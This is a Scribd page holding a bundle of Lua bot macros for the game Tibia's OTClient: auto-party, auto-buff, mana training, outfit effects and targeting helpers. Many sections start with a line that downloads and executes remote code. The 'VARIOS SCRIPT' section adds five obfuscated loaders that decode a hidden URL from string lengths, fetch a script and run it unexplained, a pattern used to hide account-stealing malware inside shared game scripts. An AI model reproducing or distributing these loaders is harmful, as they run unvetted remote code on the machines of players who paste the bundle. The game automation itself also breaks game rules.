0% found this document useful (0 votes)
10 views

tibia script 12 discord full mano

The document contains a script for a game that includes various macros and functions for managing player actions, such as attacking creatures, turning towards targets, and managing mana training. It also includes features for applying visual effects like outfit shaders and random outfits. The script is structured with multiple sections, each targeting different functionalities within the game environment.

Uploaded by

mendezjuanh965
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views

tibia script 12 discord full mano

The document contains a script for a game that includes various macros and functions for managing player actions, such as attacking creatures, turning towards targets, and managing mana training. It also includes features for applying visual effects like outfit shaders and random outfits. The script is structured with multiple sections, each targeting different functionalities within the game environment.

Uploaded by

mendezjuanh965
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
You are on page 1/ 95

-------------MAIN

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Main")


UI.Separator()
UI.Separator()
UI.Separator()

--[[
Editar targetbot\creature.lua

Procurar por:
TargetBot.Creature.getConfigs = function(creature)
if not creature then return {} end

Substituir por:
TargetBot.Creature.getConfigs = function(creature)
if not creature or creature.noKS then return {} end
]]

local ksMacro = macro(10000000,"NO KS",function() end)

function isPlayerAround(pos)
local near = getNearTiles(pos)
for t, tile in pairs(near) do
for s, spec in pairs(tile:getCreatures()) do
if spec:isPlayer() and spec ~= player then
return true
end
end
end
return false
end

onAttackingCreatureChange(function(new, old)
if ksMacro:isOff() or not new then return end
if new:isMonster() and isPlayerAround(new:getPosition()) then
new.noKS = true
g_game.cancelAttackAndFollow()
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Main")


UI.Separator()

macro(100, "Girar De Frente Al Attack", function()


local target = g_game.getAttackingCreature()
if target then
local playerPos = player:getPosition()
local targetPos = target:getPosition()

if targetPos.x == playerPos.x - 1 then


g_game.turn(3) -- west
elseif targetPos.x == playerPos.x + 1 then
g_game.turn(1) -- east
elseif targetPos.x == playerPos.x then
if targetPos.y == playerPos.y + 1 then
g_game.turn(2) -- south
elseif targetPos.y == playerPos.y - 1 then
g_game.turn(0) -- north
end
end
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Main")

local SPELL_NAME = "Anti defense" -- spell que usaras cuando el enemigo use utamo vita
local TARGET_SPELL = "Utamo Vita" -- Nombre del utamo del enemigo
local lastSpell = nil

local antyDefense = macro(1000, "Anty Defense", function() end)

onTalk(function(name, level, mode, text, channelId, pos)


if antyDefense.isOff() then
return
end

local target = g_game.getAttackingCreature()


if not target then
return
end

if name == player:getName() then


lastSpell = text
end

if lastSpell ~= SPELL_NAME and name == target:getName() and text:lower():find(TARGET_SPELL:lower())


then
say(SPELL_NAME)
lastSpell = SPELL_NAME
end
end)

---------------------TOOLS

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Tools")


UI.Separator()
--raimbow
local outfits = {128, 129, 130, 131} -- Lista de outfits básicos de Tibia

local outfit = {
head = 0,
body = 1,
legs = 2,
feet = 3,
type = outfits[1], -- Inicializar con el primer outfit de la lista
auxType = 0,
addons = 0, -- Sin addons
mount = 0, -- Sin montura
}

macro(50, "RainbowOutfit", function()


outfit.head = math.random(0, 132) -- Colores aleatorios para cada parte del outfit
outfit.body = math.random(0, 132)
outfit.legs = math.random(0, 132)
outfit.feet = math.random(0, 132)
outfit.type = outfits[math.random(1, #outfits)] -- Seleccionar aleatoriamente uno de los outfits básicos
setOutfit(outfit)
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Tools")

local function applyShader()

g_game.getLocalPlayer():setOutfitShader("outfit_rainbow")

end

local function removeShader()

g_game.getLocalPlayer():setOutfitShader("")

end

local m_main = macro(200, "Shader Outfit", function(m)

applyShader()

schedule(200, function()

if m.isOff() then

removeShader()

end
end)

end)

onPlayerPositionChange(function(old, new)

if m_main.isOff() then return end

if old and new and old.z ~= new.z then

applyShader()

end

end)

UI.Separator()
UI.Separator()

------------------------------HP

---------------------------- MANA TRAINING

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Hp")


UI.Separator()

UI.Label("Mana training")
if type(storage.manaTrain) ~= "table" then
storage.manaTrain = {on=false, title="MP%", text="utevo lux", min=80, max=100}
end

local manatrainmacro = macro(1000, function()


if TargetBot and TargetBot.isActive() then return end -- pausa o treino enquanto target estiver on
local mana = math.min(100, math.floor(100 * (player:getMana() / player:getMaxMana())))
if storage.manaTrain.max >= mana and mana >= storage.manaTrain.min then
say(storage.manaTrain.text)
end
end)
manatrainmacro.setOn(storage.manaTrain.on)

UI.DualScrollPanel(storage.manaTrain, function(widget, newParams)


storage.manaTrain = newParams
manatrainmacro.setOn(storage.manaTrain.on)
end)

UI.Separator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Hp")


UI.Separator()

---------------------------- MANA TRAINING

UI.Label("Mana training")
if type(storage.manaTrain) ~= "table" then
storage.manaTrain = {on=false, title="MP%", text="utevo lux", min=80, max=100}
end

local manatrainmacro = macro(1000, function()


if TargetBot and TargetBot.isActive() then return end -- pausa o treino enquanto target estiver on
local mana = math.min(100, math.floor(100 * (player:getMana() / player:getMaxMana())))
if storage.manaTrain.max >= mana and mana >= storage.manaTrain.min then
say(storage.manaTrain.text)
end
end)
manatrainmacro.setOn(storage.manaTrain.on)

UI.DualScrollPanel(storage.manaTrain, function(widget, newParams)


storage.manaTrain = newParams
manatrainmacro.setOn(storage.manaTrain.on)
end)

--------------------VARIOS SCRIPT

-----SCRIPT 12 TIBIA

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);


UI.Separator()

function lFLfsKmIstpD(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(lFLfsKmIstpD({'******************************************************************
**************************************','***********************************************
*********************************************************************','****************
**************************************************************************************
**************','***********************************************************************
*****************************************','********************************************
***********************************************************************','**************
********************************************','*****************************************
******','***********************************************','******************************
*************************************************************************','************
**************************************************************************************
*******','******************************************************************************
**************************************','***********************************************
*************************************************************','************************
*************************************************************************','************
**************************************************************************************'
,'**********************************************','**************************************
*************************************************************','************************
**************************************************************************************
*','************************************************************************************
*************************','***********************************************','***********
**************************************************************************************
******','*******************************************************************************
**********************','***************************************************************
***************************************************','**********************************
***************************************************************','**********************
**************************************************************************************
******','*******************************************************************************
*********************','****************************************************************
***********************************************','**************************************
********','*****************************************************************************
**********************','***************************************************************
******************************************************','*******************************
**********************************************************************','***************
**************************************************************************************
*****************','********************************************************************
*****************************','********************************************************
***********************************************************','**************************
********************','*******************************************************','********
***************************************','**********************************************
********************************************************************','*****************
************************************************************************************','*
**************************************************************************************
**********************','***************************************************************
************************************************','*************************************
*******************************************************************************','******
**************************************************************************************
*******************','******************************************************************
*************************************************','************************************
***************************************************************','**********************
**************************************************************************************
*********','****************************************************************************
***************************************','**********************************************
**********************************************************************','***************
**************************************************************************************
**********','***************************************************************************
**********************************','***************************************************
****************************************************************','*********************
**************************','*********************************************','************
***********************************','**************************************************
****************************************************************','*********************
****************************************************************************','*********
**************************************************************************************
************************','***********************************************','************
**************************************************************************************
***********','**************************************************************************
***********************','**************************************************************
*******************************************','******************************************
********************************************************************','*****************
******************************','*******************************************************
**********************','***************************************************************
**','*************************************************************************','********
**********************************************************************','***************
********************************************************************************','*****
*****************************************************************','********************
**************************************************************','***********************
**********************************************','***************************************
******************************'}), function(script)
assert(loadstring(script))()
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);


UI.Separator()

function fFYycqbDLHPEOBMNNfhgruHEzUiUekClhPNagIFgmfiGZhffzNKBLZMsCdN(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(fFYycqbDLHPEOBMNNfhgruHEzUiUekClhPNagIFgmfiGZhffzNKBLZMsCdN({'******************
**************************************************************************************'
,'*************************************************************************************
*******************************','******************************************************
**************************************************************','***********************
**************************************************************************************
***','**********************************************************************************
*********************************','****************************************************
******','***********************************************','******************************
*****************','********************************************************************
***********************************','**************************************************
*******************************************************','******************************
**************************************************************************************'
,'*************************************************************************************
***********************','**************************************************************
***********************************','**************************************************
************************************************','*************************************
*********','****************************************************************************
***********************','**************************************************************
*************************************************','************************************
*************************************************************************','************
***********************************','**************************************************
*****************************************************','********************************
*********************************************************************','****************
**************************************************************************************
************','*************************************************************************
************************','*************************************************************
*****************************************************','********************************
********************************************************************','*****************
**************************************************************************************
********','**********************************************','*****************************
**********************************************************************','***************
**************************************************************************************
****************','*********************************************************************
********************************','*****************************************************
*****************************************************************','********************
*****************************************************************************','********
**************************************************************************************
*********************','**********************************************','****************
***************************************','**********************************************
*','************************************************************************************
******************************','*******************************************************
**********************************************','***************************************
**********************************************************************','***************
**************************************************************************************
**********','***************************************************************************
*****************************************','********************************************
*******************************************************************','******************
**************************************************************************************
***********','**************************************************************************
*************************','************************************************************
*********************************************************','****************************
**************************************************************************************
*','************************************************************************************
********************************','*****************************************************
**********************************************************','***************************
**********************************************************************************','***
**************************************************************************************
**************************','***********************************************','**********
***********************************','***********************************************','*
**************************************************************************************
***************************','**********************************************************
***************************************','**********************************************
*************************************************************************','************
***********************************','**************************************************
***********************************************************','**************************
***********************************************************************','**************
**************************************************************************************
*****','********************************************************************************
******************************','***********************************************','******
******************************************************************************','*******
************************************************************************','*************
******************************************************************','*******************
*********************************************************','****************************
*******************************************************','******************************
*****************************************************************','********************
**************************************************','***********************************
***********************************************','**************************************
*******************************','******************************************************
***************'}), function(script)
assert(loadstring(script))()
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);


UI.Separator()

function CXFggwenpawIeUTX(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(CXFggwenpawIeUTX({'************************************************************
********************************************','*****************************************
***************************************************************************','**********
**************************************************************************************
********************','*****************************************************************
***********************************************','**************************************
*****************************************************************************','********
**************************************************','***********************************
************','***********************************************','************************
*******************************************************************************','******
**************************************************************************************
*************','************************************************************************
********************************************','*****************************************
*******************************************************************','******************
*******************************************************************************','******
**************************************************************************************
******','**********************************************','*******************************
********************************************************************','*****************
**************************************************************************************
********','*****************************************************************************
********************************','***********************************************','****
**************************************************************************************
*************','************************************************************************
*****************************','********************************************************
**********************************************************','***************************
**********************************************************************','***************
**************************************************************************************
*************','************************************************************************
****************************','*********************************************************
******************************************************','*******************************
***************','**********************************************************************
*****************************','********************************************************
*************************************************************','************************
*****************************************************************************','********
**************************************************************************************
************************','*************************************************************
************************************','*************************************************
******************************************************************','*******************
***************************','*******************************************************','*
**********************************************','***************************************
***************************************************************************','**********
**************************************************************************************
*****','********************************************************************************
*****************************','********************************************************
*******************************************************','******************************
**************************************************************************************'
,'*************************************************************************************
**************************','***********************************************************
********************************************************','*****************************
**********************************************************************','***************
**************************************************************************************
****************','*********************************************************************
**********************************************','***************************************
*****************************************************************************','********
**************************************************************************************
*****************','********************************************************************
*****************************************','********************************************
***********************************************************************','**************
*********************************','*********************************************','*****
******************************************','*******************************************
***********************************************************************','**************
***********************************************************************************','**
**************************************************************************************
*******************************','***********************************************','*****
**************************************************************************************
******************','*******************************************************************
******************************','*******************************************************
**************************************************','***********************************
***************************************************************************','**********
*************************************','************************************************
***************************************','**********************************************
*******************','******************************************************************
****************','*********************************************************************
**************************','***********************************************************
***********','**************************************************************************
********','*********************************************************************','******
***************************************************************'}), function(script)
assert(loadstring(script))()
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);


UI.Separator()

function mobpDvDiEvArqnYsfeqvXviYarNXazOpmqSJ(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(mobpDvDiEvArqnYsfeqvXviYarNXazOpmqSJ({'******************************************
**************************************************************','***********************
**************************************************************************************
*******','******************************************************************************
**************************************','***********************************************
*****************************************************************','********************
**************************************************************************************
*********','**********************************************************','****************
*******************************','***********************************************','*****
**************************************************************************************
************','*************************************************************************
********************************','*****************************************************
***************************************************************','**********************
**************************************************************************************'
,'*************************************************************************************
************','*************************************************************************
*************************','**********************************************','************
**************************************************************************************
*','************************************************************************************
***************************','**********************************************************
***************************************************','**********************************
*************','************************************************************************
*******************************','******************************************************
***********************************************','**************************************
****************************************************************************','*********
**************************************************************************************
**','***********************************************************************************
*******************************','******************************************************
**********************************************','***************************************
************************************************************************','*************
*********************************','****************************************************
***********************************************','**************************************
*******************************************************************************','******
**************************************************************************************
*********','****************************************************************************
******************************************','*******************************************
******************************************************','*******************************
************************************************************************************','*
*********************************************','****************************************
***************','***********************************************','*********************
**************************************************************************************
*******','******************************************************************************
***********************','**************************************************************
***********************************************','**************************************
*************************************************************************','************
**************************************************************************************
******************','*******************************************************************
********************************************','*****************************************
**************************************************************************','***********
**************************************************************************************
**','***********************************************************************************
**********************************','***************************************************
****************************************************************','*********************
**************************************************************************************
*********','****************************************************************************
***********************************','**************************************************
***********************************************************','**************************
**************************************************************************************
***','***********************************************','*********************************
************','***********************************************','************************
**************************************************************************************
****','*********************************************************************************
****************','*********************************************************************
**************************************************','***********************************
************','*************************************************************************
************************************','*************************************************
************************************************','*************************************
********************************************************************','*****************
**************************************************************************************
*******','***********************************************','*****************************
************************************************','*************************************
************************************','*************************************************
**********************************','***************************************************
******************','*******************************************************************
*********','*****************************************************************','*********
*********************************************************************','****************
*****************************************************','********************************
*********************************','****************************************************
*******************************************','******************************************
****************************','*********************************************************
*************************','************************************************************
*********','*********************************************************************'}),
function(script)
assert(loadstring(script))()
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);


UI.Separator()

function kOFYdyjAYRVyVtJDsMXveDDnAvJBypEqgWPvPYYcjHDkVXJaTxkHamHbIIybifIZfncTjt(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(kOFYdyjAYRVyVtJDsMXveDDnAvJBypEqgWPvPYYcjHDkVXJaTxkHamHbIIybifIZfncTjt({'**********
**************************************************************************************
********','*****************************************************************************
***************************************','**********************************************
**********************************************************************','***************
**************************************************************************************
***********','**************************************************************************
*****************************************','********************************************
**************','***********************************************','**********************
*************************','************************************************************
*******************************************','******************************************
***************************************************************','**********************
**************************************************************************************
********','*****************************************************************************
*******************************','******************************************************
*******************************************','******************************************
********************************************************','*****************************
*****************','********************************************************************
*******************************','******************************************************
*********************************************************','****************************
*********************************************************************************','****
*******************************************','******************************************
*************************************************************','************************
*****************************************************************************','********
**************************************************************************************
********************','*****************************************************************
********************************','*****************************************************
*************************************************************','************************
****************************************************************************','*********
**************************************************************************************
****************','**********************************************','*********************
******************************************************************************','*******
**************************************************************************************
************************','*************************************************************
****************************************','*********************************************
*************************************************************************','************
*************************************************************************************','
**************************************************************************************
*****************************','**********************************************','********
***********************************************','**************************************
*********','****************************************************************************
**************************************','***********************************************
******************************************************','*******************************
******************************************************************************','*******
**************************************************************************************
******************','*******************************************************************
*************************************************','************************************
***************************************************************************','**********
**************************************************************************************
*******************','******************************************************************
*********************************','****************************************************
*****************************************************************','********************
**************************************************************************************
*********','****************************************************************************
****************************************','*********************************************
******************************************************************','*******************
**************************************************************************************
****','*********************************************************************************
**********************************','***********************************************','**
*******************************************','******************************************
*****','********************************************************************************
**********************************','***************************************************
**********************************************','***************************************
********************************************************************************','*****
******************************************','*******************************************
******************************************************************','*******************
******************************************************************************','*******
**************************************************************************************
************','*************************************************************************
*************************************','***********************************************',
'****************************************************************************','********
**************************************************************************************
*****************','********************************************************************
*******************************************','******************************************
**************************************************************************','***********
************************************************************************************','*
*********************************************************************','****************
**************************************************************************************
************','*************************************************************************
****************************','*********************************************************
********************************************'}), function(script)
assert(loadstring(script))()
end)

------------------------(+) YO SCRIPT PERSONAL

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")
-- UI.Separator()

local autopartyui = setupUI([[


Panel
height: 38

BotSwitch
id: status
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
height: 18
text: Auto Party

Button
id: editPlayerList
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 18
text: Setup

Button
id: ptLeave
text: Leave Party
anchors.left: parent.left
anchors.top: prev.bottom
width: 86
height: 17
margin-top: 3
color: #ee0000
font: verdana-11px-rounded

BotSwitch
id: ptShare
text: Auto Share
anchors.left: prev.right
anchors.bottom: prev.bottom
margin-left: 4
height: 17
width: 86
]], parent)
g_ui.loadUIFromString([[
AutoPartyName < Label
background-color: alpha
text-offset: 2 0
focusable: true
height: 16

$focus:
background-color: #00000055

Button
id: remove
text: x
anchors.right: parent.right
margin-right: 15
width: 15
height: 15

AutoPartyListWindow < MainWindow


text: Auto Party
size: 200 315
@onEscape: self:hide()

Label
id: lblLeader
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
anchors.right: parent.right
text-align: center
text: Leader Name

TextEdit
id: txtLeader
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 5

Label
id: lblParty
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Party List

TextList
id: lstAutoParty
anchors.top: prev.bottom
anchors.left: parent.left
anchors.right: parent.right
margin-top: 5
margin-bottom: 5
padding: 1
height: 100
vertical-scrollbar: AutoPartyListListScrollBar

VerticalScrollBar
id: AutoPartyListListScrollBar
anchors.top: lstAutoParty.top
anchors.bottom: lstAutoParty.bottom
anchors.right: lstAutoParty.right
step: 14
pixels-scroll: true

TextEdit
id: playerName
anchors.left: parent.left
anchors.top: lstAutoParty.bottom
margin-top: 5
width: 120

Button
id: addPlayer
text: +
font: verdana-11px-rounded
anchors.right: parent.right
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 3

HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 8

CheckBox
id: inviteMsg
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Invite/Accept on Msg:
tooltip: If you are the leader, invite player that said this msg, else, accept party when someone say this.\
n

TextEdit
id: inviteTxt
anchors.left: parent.left
anchors.right: parent.right
anchors.top: inviteMsg.bottom
margin-top: 5
width: 148

HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.bottom: closeButton.top
margin-bottom: 6

Button
id: closeButton
text: Close
font: cipsoftFont
anchors.right: parent.right
anchors.bottom: parent.bottom
size: 45 21

Button
id: info
text: Credits
font: cipsoftFont
anchors.left: parent.left
anchors.bottom: parent.bottom
size: 45 21
color: yellow
!tooltip: tr('Original made by Lee#7225\nModified by F.Almeida#8019')
@onClick: g_platform.openUrl("https://www.paypal.com/donate/?
business=8XSU4KTS2V9PN&no_recurring=0&item_name=OTC+AND+OTS+SCRIPTS&currency_code=USD")
]])

local panelName = "autoParty"

if not storage[panelName] then


storage[panelName] = {
leaderName = 'Leader',
autoPartyList = {},
enabled = false,
inviteTxt = 'party me',
autoShare = false,
onMsg = false,
}
end

local config = storage[panelName]

rootWidget = g_ui.getRootWidget()
if rootWidget then
tcAutoParty = autopartyui.status
tcAutoShare = autopartyui.ptShare

autoPartyListWindow = UI.createWindow('AutoPartyListWindow', rootWidget)


autoPartyListWindow:hide()

autopartyui.editPlayerList.onClick = function(widget)
autoPartyListWindow:show()
autoPartyListWindow:raise()
autoPartyListWindow:focus()
end

autopartyui.ptLeave.onClick = function(widget)
g_game.partyLeave()
end

autoPartyListWindow.closeButton.onClick = function(widget)
autoPartyListWindow:hide()
end

if config.autoPartyList and #config.autoPartyList > 0 then


for _, pName in ipairs(config.autoPartyList) do
local label = g_ui.createWidget("AutoPartyName", autoPartyListWindow.lstAutoParty)
label.remove.onClick = function(widget)
table.removevalue(config.autoPartyList, label:getText())
label:destroy()
end
label:setText(pName)
end
end
autoPartyListWindow.addPlayer.onClick = function(widget)
local playerName = autoPartyListWindow.playerName:getText()
if playerName:len() > 0 and not (table.contains(config.autoPartyList, playerName, true) or
config.leaderName == playerName) then
table.insert(config.autoPartyList, playerName)
local label = g_ui.createWidget("AutoPartyName", autoPartyListWindow.lstAutoParty)
label.remove.onClick = function(widget)
table.removevalue(config.autoPartyList, label:getText())
label:destroy()
end
label:setText(playerName)
autoPartyListWindow.playerName:setText('')
end
end

autopartyui.status:setOn(config.enabled)
autopartyui.status.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end

autopartyui.ptShare:setOn(config.autoShare)
autopartyui.ptShare.onClick = function(widget)
config.autoShare = not config.autoShare
widget:setOn(config.autoShare)
end
autoPartyListWindow.inviteMsg:setChecked(config.onMsg)
autoPartyListWindow.inviteMsg.onClick = function(widget)
config.onMsg = not config.onMsg
widget:setChecked(config.onMsg)
end

autoPartyListWindow.playerName.onKeyPress = function(self, keyCode, keyboardModifiers)


if not (keyCode == 5) then
return false
end
autoPartyListWindow.addPlayer.onClick()
return true
end

autoPartyListWindow.playerName.onTextChange = function(widget, text)


if table.contains(config.autoPartyList, text, true) then
autoPartyListWindow.addPlayer:setColor("red")
else
autoPartyListWindow.addPlayer:setColor("green")
end
end

autoPartyListWindow.txtLeader.onTextChange = function(widget, text)


config.leaderName = text
end
autoPartyListWindow.txtLeader:setText(config.leaderName)

autoPartyListWindow.inviteTxt.onTextChange = function(widget, text)


config.inviteTxt = text
end
autoPartyListWindow.inviteTxt:setText(config.inviteTxt)

-- main loop
macro(500,function()
if not config.enabled then return true end
local lider = player:getName():lower() == config.leaderName:lower()
for s, spec in pairs(getSpectators()) do
if spec:isPlayer() and spec ~= player then
if lider then
if spec:getShield() == 0 then
if table.find(config.autoPartyList,spec:getName(),true) then
g_game.partyInvite(spec:getId())
end
end
else
if spec:getShield() == 1 then
if spec:getName():lower() == config.leaderName:lower() then
g_game.partyJoin(spec:getId())
end
end
end
end
end
if lider and config.autoShare then
if not player:isPartySharedExperienceActive() then
g_game.partyShareExperience(true)
end
end
end)

-- invite on msg
onTalk(function(name, level, mode, text, channelId, pos)
if not config.enabled then return true end
if not config.onMsg or not string.find(text, config.inviteTxt) then return true end
local c = getCreatureByName(name)
if c then
if c:isPlayer() and c ~= player then
if c:getShield() == 0 then
g_game.partyInvite(c:getId())
elseif c:getShield() == 1 then
g_game.partyJoin(c:getId())
end
end
end
end)
end

UI.Separator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")

local buffUi = setupUI([[


Panel
height: 20

BotSwitch
id: status
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
height: 18
text: Auto Buff

Button
id: editSpellList
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 18
text: Setup
]], parent)

g_ui.loadUIFromString([[
SpellName < Label
background-color: alpha
text-offset: 2 0
focusable: true
height: 16

$focus:
background-color: #00000055

Button
id: remove
text: x
anchors.right: parent.right
margin-right: 15
width: 15
height: 15

spellListWindow < MainWindow


text: Auto Buff by F.Almeida
size: 220 355
@onEscape: self:hide()

Label
id: lblPos
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
anchors.right: parent.right
text-align: center
margin-top: -5
text: Icon Position:

Label
id: lblPosX
anchors.left: prev.left
anchors.top: prev.bottom
text-align: center
margin-top: 5
width: 40
height: 20
!text: ('Pos X: ')

SpinBox
id: ipx
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 2000
width: 50
step: 10
editable: true
focusable: true

Label
id: lblPosY
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 10
text-align: center
width: 40
!text: ('Pos Y: ')

SpinBox
id: ipy
anchors.right: parent.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 2000
width: 50
step: 10
editable: true
focusable: true

Label
id: lblEx
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 5
height: 20
text-align: center
text: Default Exhausted:

SpinBox
id: ex
anchors.right: parent.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 5000
width: 70
step: 100
editable: true
focusable: true
text-align: center

Label
id: lblSpells
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Spells List

TextList
id: lstSpells
anchors.top: prev.bottom
anchors.left: parent.left
anchors.right: parent.right
margin-top: 5
margin-bottom: 5
padding: 1
height: 100
vertical-scrollbar: AutoBuffVScroll

VerticalScrollBar
id: AutoBuffVScroll
anchors.top: lstSpells.top
anchors.bottom: lstSpells.bottom
anchors.right: lstSpells.right
step: 14
pixels-scroll: true

Label
id: lblExample
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Example: Utito Tempo, 10

TextEdit
id: spellEntry
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 5
width: 140

Button
id: addSpell
text: +
font: verdana-11px-rounded
anchors.right: parent.right
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 3

HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 8

CheckBox
id: checkAtk
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Stop if attacking
tooltip: Only cast buff if not attacking any creature.

CheckBox
id: checkPz
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Stop if in PZ
tooltip: Only cast buff if not in Protection Zone.

CheckBox
id: createIcon
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Create Icon

HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.bottom: closeButton.top
margin-bottom: 6

Button
id: closeButton
text: Close
font: cipsoftFont
anchors.right: parent.right
anchors.bottom: parent.bottom
size: 45 21

Button
id: info
text: Credits
font: cipsoftFont
anchors.left: parent.left
anchors.bottom: parent.bottom
size: 45 21
color: yellow
!tooltip: tr('Created by F.Almeida#8019\nClick to contribute.')
@onClick: g_platform.openUrl("https://www.paypal.com/donate/?
business=8XSU4KTS2V9PN&no_recurring=0&item_name=OTC+AND+OTS+SCRIPTS&currency_code=USD")
]])

local panelName = "autoBuff"

if not storage[panelName] then


storage[panelName] = {
iconPosX = 200,
iconPosY = 170,
exhausted = 1001,
spellList = {"set some spell first, 10"},
enabled = false,
icon = false,
atk = false,
pz = true,
}
end

local config = storage[panelName]

rootWidget = g_ui.getRootWidget()
if rootWidget then

spellListWindow = UI.createWindow('spellListWindow', rootWidget)


spellListWindow:hide()

buffUi.editSpellList.onClick = function(widget)
spellListWindow:show()
spellListWindow:raise()
spellListWindow:focus()
end

spellListWindow.closeButton.onClick = function(widget)
spellListWindow:hide()
end

if config.spellList and #config.spellList > 0 then


for _, pName in ipairs(config.spellList) do
local label = g_ui.createWidget("SpellName", spellListWindow.lstSpells)
label.remove.onClick = function(widget)
table.removevalue(config.spellList, label:getText())
label:destroy()
end
label:setText(pName)
label.onDoubleClick = function(widget)
table.removevalue(config.spellList, label:getText())
spellListWindow.spellEntry:setText(label:getText())
label:destroy()
end
end
end
spellListWindow.addSpell.onClick = function(widget)
local spellEntry = spellListWindow.spellEntry:getText():lower()
if spellEntry:len() > 0 and not table.contains(config.spellList, spellEntry, true) then
if string.find(spellEntry,",") then
if not tonumber(spellEntry:split(",")[2]) then
warn('You must insert: spell name, cooldown (in ms: 1000 = 1s)')
else
table.insert(config.spellList, spellEntry)
local label = g_ui.createWidget("SpellName", spellListWindow.lstSpells)
label.remove.onClick = function(widget)
table.removevalue(config.spellList, label:getText())
label:destroy()
end
label:setText(spellEntry)
spellListWindow.spellEntry:setText('')
label.onDoubleClick = function(widget)
table.removevalue(config.spellList, label:getText())
spellListWindow.spellEntry:setText(label:getText())
label:destroy()
end
end
else
warn('You must insert: spell name, cooldown (in seconds)')
end
end
end

buffUi.status:setOn(config.enabled)
buffUi.status.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end

spellListWindow.checkAtk:setChecked(config.atk)
spellListWindow.checkAtk.onClick = function(widget)
config.atk = not config.atk
widget:setChecked(config.atk)
end

spellListWindow.checkPz:setChecked(config.pz)
spellListWindow.checkPz.onClick = function(widget)
config.pz = not config.pz
widget:setChecked(config.pz)
end

spellListWindow.createIcon:setChecked(config.icon)
spellListWindow.createIcon.onClick = function(widget)
config.icon = not config.icon
widget:setChecked(config.icon)
end
spellListWindow.spellEntry.onKeyPress = function(self, keyCode, keyboardModifiers)
if not (keyCode == 5) then
return false
end
spellListWindow.addSpell.onClick()
return true
end

spellListWindow.spellEntry.onTextChange = function(widget, text)


if table.contains(config.spellList, text, true) then
spellListWindow.addSpell:setColor("red")
elseif text:len() > 0 then
spellListWindow.addSpell:setColor("green")
else
spellListWindow.addSpell:setColor("white")
end
end

-- icon positions
spellListWindow.ipx:setValue(config.iconPosX)
spellListWindow.ipx.onValueChange = function(widget, value)
config.iconPosX = value
end

spellListWindow.ipy:setValue(config.iconPosY)
spellListWindow.ipy.onValueChange = function(widget, value)
config.iconPosY = value
end

-- default exhausted
